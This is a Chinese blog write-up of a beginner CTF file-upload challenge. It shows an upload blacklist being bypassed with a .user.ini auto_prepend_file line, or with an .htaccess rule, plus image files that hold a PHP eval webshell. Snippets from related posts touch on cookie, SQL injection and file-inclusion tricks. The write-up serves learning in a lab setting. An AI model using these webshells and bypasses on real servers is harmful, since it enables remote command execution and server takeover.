[SWPUCTF 2024 秋季新生赛]怎么多了个没用的php文件【小白详细】

[SWPUCTF 2024 秋季新生赛]The future Revenge 近期,Linux GLIBC的库函数iconv缓冲区溢出漏洞(CVE-2024-2961)的细节/PoC被公开,目前已知的利用方式是可以让PHP的任意文件读取漏洞升级的远程命令执行漏洞。目前已公开的漏洞利用场景只有一个,就是把PHP的任意文件读取漏洞转换为远程命令指令漏洞。 阅读详情

[SWPUCTF 2024 秋季新生赛]怎么多了个没用的php文件

题目


notion.php 是一个没啥用的php文件,不知道被设计出来是干什么的,出题人傻啦?

尝试与解题

第一步,

随便选择一个txt文件upload,发现整个过程就是一个文件上传,

.php不允许上传

【额,,,我不会,。。。有点超纲】

第二步,

既然是文件漏洞,那么,判断一下服务器是什么

curl -I https://目标域名  # 或 http://目标IP

可以知道服务器是 nginx ,

所以无法使用 .htaccess,使用.user.ini 文件

第三步,新建一个.user.ini 文件

里面内容是auto_prepend_file = muma.png

上传成功之后

第四步,

设置一个muma.png

内容为

<?php
@eval($_POST['x']);
phpinfo();
?>

如上上传之后

第五步

使用蚁剑,来测试找答案,{也可以直接访问地点}

知识点(针对此漏洞,并非系统)

文件上传-.user.ini的妙用-优快云博客

揭秘.htaccess文件:你必须知道的使用技巧和隐藏功能-优快云博客这位大佬写的非常详细,但是小白看的可能会有点吃力

[CTF].htaccess的使用技巧总结_.htaccess ctf-优快云博客

CTFHub 文件上传-htaccess绕过_ctfhub 文件上传 - htaccess-优快云博客

这边不对理论多多赘述,后续可能专门会学习这块内容

CTF中.htaccess文件

思路

如果我无法直接上传一个 .php 文件(因为被黑名单过滤),那我就上传一个配置文件,命令服务器:“从此以后,把这个目录里所有的 .jpg 文件都当作 .php 文件来解析!”这个“配置文件”就是 .htaccess。

攻击步骤
1. 搞.htaccess文件(纯文本)

2. 上传文件
a. 先上传.htaccess文件
b. 然后上传一个包含WebShell代码的图片文件【即图片🐎】
GIF89a; // 图片的文件头,用于欺骗简单的文件内容检查
<?php @eval($_POST['cmd']); ?> // 真正的一句话木马代码
3. 触发攻击
  1. 攻击者访问他上传的“图片”文件:http://target.com/uploads/shell.jpg
  2. 服务器收到请求后,会先读取 uploads 目录下的 .htaccess 文件。
  3. .htaccess 规则生效,服务器不再将 shell.jpg 视为图片,而是将其交给 PHP 引擎去解析。
  4. PHP 引擎会成功解析 <?php ... ?> 标签内的代码。
  5. WebShell 被激活,攻击者就可以通过 cmd 参数执行任意系统命令,完全控制服务器。
注意生效与否

.htaccess 生效的核心条件

1. 服务器是 Apache(或兼容服务器)

2. Apache 配置允许覆盖 (AllowOverride)

Apache 的主配置文件(通常是 httpd.conf 或 apache2.conf)中,必须为你网站根目录对应的 <Directory> 块设置了 AllowOverride 指令,并且允许相应的功能。

AllowOverride All

CTF中.user.ini文件

与上面其实差不多,不过是环境不一样

Nginx + PHP-FPM 环境用.user.ini

Apache 通常用 .htaccess 处理 PHP 配置

总结

首先通过源代码(或者尝试),知道这是典型的文件上传漏洞,黑名单为.php,注意是,使用的方法是上传其他文件,改变内在规则,使php内容得以实现,,

其次,注意这个服务器是什么,决定要用.user.ini文件还是.htaccess文件

最后,PHP代码的使用,蚁剑的链接,还有如何写蚁剑的url和密码

【这道题考察内容挺多的】

瑞芯微RK3588系统重装实战:从Windows到Linux的完整烧录指南 本文提供了一份详尽的瑞芯微RK3588开发板系统重装实战指南,涵盖从Windows到Linux双平台的完整烧录流程。针对RK3588芯片特性,详细解析了驱动安装、工具使用、固件烧录步骤及常见问题排错,旨在帮助开发者高效、安全地完成系统切换与部署,快速投入AI推理与边缘计算等应用开发。 阅读详情

相关推荐

IMU预积分【SLAM】

预积分的推导过程比较多,所以这里只记录关键结论。 其实这些公式不太好记忆,因为预积分推导过程的想法来源很巧妙,无法看出物理意义。一切推导的来源: 最好记忆的旋转相对运动量: △Rij≐RiTRj=∏k=ij−1Exp((ω~k−bg,k−ηgd,k)△t)\triangle R_{ij} \doteq R_{i}^{T}R_{j} = \prod_{k=i}^{j-1}Exp((\tilde{\omega}_{k}-b_{g,k}-\eta_{gd,k})\triangle t) △Rij​≐RiT​Rj​

Tong_1024_的博客 1371

文件上传学习日记(内含“[SWPUCTF 2024 秋季新生赛]怎么多了个没用的php文件”wp)

当filename字段限制php文件后缀时,可以使用这种绕过方法,使用.user.ini文件绕过,user.ini文件中有个字段 auto_prepend_file 它可以把指定文件文件加载到网站的首页,是根目录的首页,通过这个字段可以把文件与你上传的目录首页文件一起加载,被php脚本执行解析。.htaccess文件一般相当于一座桥梁,给我们的一句话木马文件能够正常执行,所以在使用时,要先传.htaccess文件,再传我们的一句话木马文件。比如说将图片中选中的部分的文件后缀改为php,就可以绕过前端效验。

2502_90815781的博客 428

解读文献(五)------基于阻抗控制

文章目录背景主动柔顺控制阻抗控制基于力的阻抗控制基于位置的阻抗控制力位混合控制 背景 主动柔顺控制 阻抗控制 基于力的阻抗控制 基于位置的阻抗控制 力位混合控制 ...

accumulation 1万+

[SWPUCTF 2024 秋季新生赛]【详细小白必备】

1. Cookie作用:存储身份凭证(如登录状态、权限标识)。CTF考点越权访问:修改admin=0为admin=1直接进入管理员后台。注入绕过:将SQL注入Payload(如)写入Cookie参数,突破URL/请求体过滤。会话劫持:窃取有效Cookie值(如)替换自身Cookie,直接登录目标账户。案例:某题目通过is_login=0限制未登录用户,修改为is_login=1即可绕过登录。作用:告知服务器客户端真实IP(常用于代理场景)。CTF考点IP白名单绕过:伪造本地回环IP(

tryqaaa_的博客 1433

ISCC练习题MISC

解题技巧:看最后括号应该是IceCTF,先用了一键解码啥也没有啊,不对不对!好像是字符频率统计,转换网站:http://quipqiup.com/有人给你发了一串信息,你能解开吗?

m0_62737381的博客 1119

时序异常检测汇总

时序异常检测

Mark_Australia的博客 1万+

2024年NSSCTF秋季招新赛(校外赛道)WP

我是菜鸡,做出来的真不多,凑合看吧,有问题还请大佬们海涵。写累了,其他题下来有空再看看,就这样记录一下,散会!!!

mata_lee的博客 4394

电源完整性之仿真设计原理

电源完整性(Power Integrity),简称为PI,也就是大家平常听说的PI。PCB板上的电源设计也是非常重要的,不当的设计也会引起很重要的影响。所以电源完整性PI和信号完整性SI,是我们互连设计人员应该同等重视的问题。今天整理本人接触的电源完整性PI的一些原理,从不的角度去看PI,会有不同的理解,下面开始喽!!! 提到互连的电源设计,可能首先想到的电源分配网络(Power Distribution Nets),因为互连电源会有许多种,直流DC和交流AC,还有不同的电压调节模块(VRM)与不同的负载端

刘小同学的博客 7377

[SWPUCTF 2024 秋季新生赛]怎么多了个没用的php文件

【代码】[SWPUCTF 2024 秋季新生赛]怎么多了个没用的php文件。

www.lazy.kim 1176

宽带波束形成

介绍了宽带波束形成器的时域滤波结构,以及波束响应的计算公式,宽带波束形成器的波束响应可表示为权重向量和方向向量的积

... 2490

I2C通信——时序图

本文用逻辑分析仪抓取主机I2C通信的时序图,抓取的过程是读某个寄存器的值。

weixin_43772611的博客 7356

SWPUCTF 2024 秋季新生赛-web

url输入view-source:

2401_88009915的博客 668

FastGPT智能体开发:FastGPT OpenAPI 知识库接口

FastGPT OpenAPI 知识库接口

王国平的博客 323

[SWPUCTF 2024 秋季新生赛]Maxser Revenge

【代码】[SWPUCTF 2024 秋季新生赛]Maxser Revenge。

www.lazy.kim 899

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

新生赛【自述,更新中】

通过这次小比赛,感觉自己还是有很多漏洞和不足,发现平时做题目的时候还是过于依赖wp了,所以我将对未来学习进行调整。这段时间断更了,因为去参加了一个小小的新生赛,搁置了一段时间,,,,{因为本人每次做题时找题目来源都很麻烦,所以我会标注做题的来源}以下是我打的新生赛内容【不断更新】

tryqaaa_的博客 40

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

【NSSCTF】2024年NSSCTF秋季招新赛(校外赛道)WEB02の“PHP躲猫猫“

也是第一次写WriteUp,本人是菜菜*

NIEmi2333的博客 742

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

2024年NSSCTF秋季招新赛WP-Web

2024NSSCTF招新赛wp_web

qq_73611706的博客 886

[SWPUCTF 2024 秋季新生赛]大圣升级之路

第一个考点:常见的魔术方法绕过。第二个考点:变量地址引用。

www.lazy.kim 412

CTF 全讲解:[SWPUCTF 2024 新生赛]Do_you_know_http(2)

因此,在安全性要求较高的情况下,应该使用其他方式来验证客户端的身份。Web开发人员和服务器管理员通常使用 User-Agent 请求头来识别客户端的类型和版本,以确保网站或应用程序能够提供适当的内容或功能。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。可以帮助用户识别潜在的安全漏洞,进行渗透测试,以及执行各种与网络安全相关的任务。是为了让服务器能够根据客户端的不同特性来适配响应内容,以提供更好的用户体验。对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

2401_83974064的博客 1430

[SWPUCTF 2024 秋季新生赛]青春莫尔斯冲锋狙不会梦到pro速帕里46轮椅人

ctf,命令执行

www.lazy.kim 372

CTF记录

练习练习!!!

luxury的博客 3309

CTF 全讲解:[SWPUCTF 2024 新生赛]Do_you_know_http,深入浅出网络安全开发

因此,在安全性要求较高的情况下,应该使用其他方式来验证客户端的身份。Web开发人员和服务器管理员通常使用 User-Agent 请求头来识别客户端的类型和版本,以确保网站或应用程序能够提供适当的内容或功能。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。可以帮助用户识别潜在的安全漏洞,进行渗透测试,以及执行各种与网络安全相关的任务。当 HTTP 请求经过。是为了让服务器能够根据客户端的不同特性来适配响应内容,以提供更好的用户体验。我们的 IP 地址,这可以通过修改 HTTP 请求头实现。

2401_83974064的博客 1260

学习日志(二)【linux全部命令,http请求头{有例题},Php语法学习】

PHP 提供了一些预定义常量,可以在脚本中直接使用。这些常量通常用于获取 PHP 的配置信息、版本信息等。:当前 PHP 解析器的版本。PHP_OS:服务器的操作系统。最大的整数值。E_ERRORE_WARNINGE_PARSE等:错误报告级别。【直接echo就行了,// 输出 PHP 版本,例如 "7.4.1"

tryqaaa_的博客 564

任意文件读取漏洞

例如,如果返回“文件不存在”,说明路径是有效的,但文件不存在。任意文件读取漏洞通常出现在Web应用程序中,当应用程序没有正确过滤用户输入的文件路径时,攻击者就可以通过。而这里的提示flag在 /f1ag 文件中就是暗示包含的$NSS指定文件是 /f1ag 就能拿到flag。当$ATM与$CTF的MD5哈希值相等时,执行include($NSS),用来包含$NSS的指定文件,以上条件都满足,执行 include($NSS),尝试包含$NSS指定的文件。尝试在这些功能中输入不同的文件路径,观察应用程序的响应。

2403_90011488的博客 2894

文件包含漏洞

总的来说这是构造的GET请求,就刚对代码的分析可以知道 php://filter/read=convert.base64-encode/resource=flag.php 作为file的参数值,需要知道的是,还是web应用程序(或服务器)对用户输入的内容(主要指文件路径)没有进行严格的过滤,然后用户就可以控制文件路径,导致应用程序包含并执行文件。当$ATM与$CTF的MD5哈希值相等时,执行include($NSS),用来包含$NSS的指定文件,(POST传参NSS的值);

2403_90011488的博客 1076

第三周作业

1.[强网杯 2019]随便注随便输入,测试一下是否存在sql注入可能存在的其他sql语句注释掉手动探测一下其他的表,首先判断一下字段个数查看数据库名查看数据表看一下第一个表1919810931114514的表结构select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字2.[SWPUCTF 2021 新生赛]sql查看源码,wllm传参一开始在做闭合中发现--+被过滤,因为表示空格使用后发现无回显,考虑用url编码%23发现有回显位,因此用联合注入使用。

2502_94833586的博客 908
上一篇: 新生赛【自述,更新中】
下一篇: 互联网协议?【了解详细】
tryqaaa_
博客等级 码龄1年 11粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值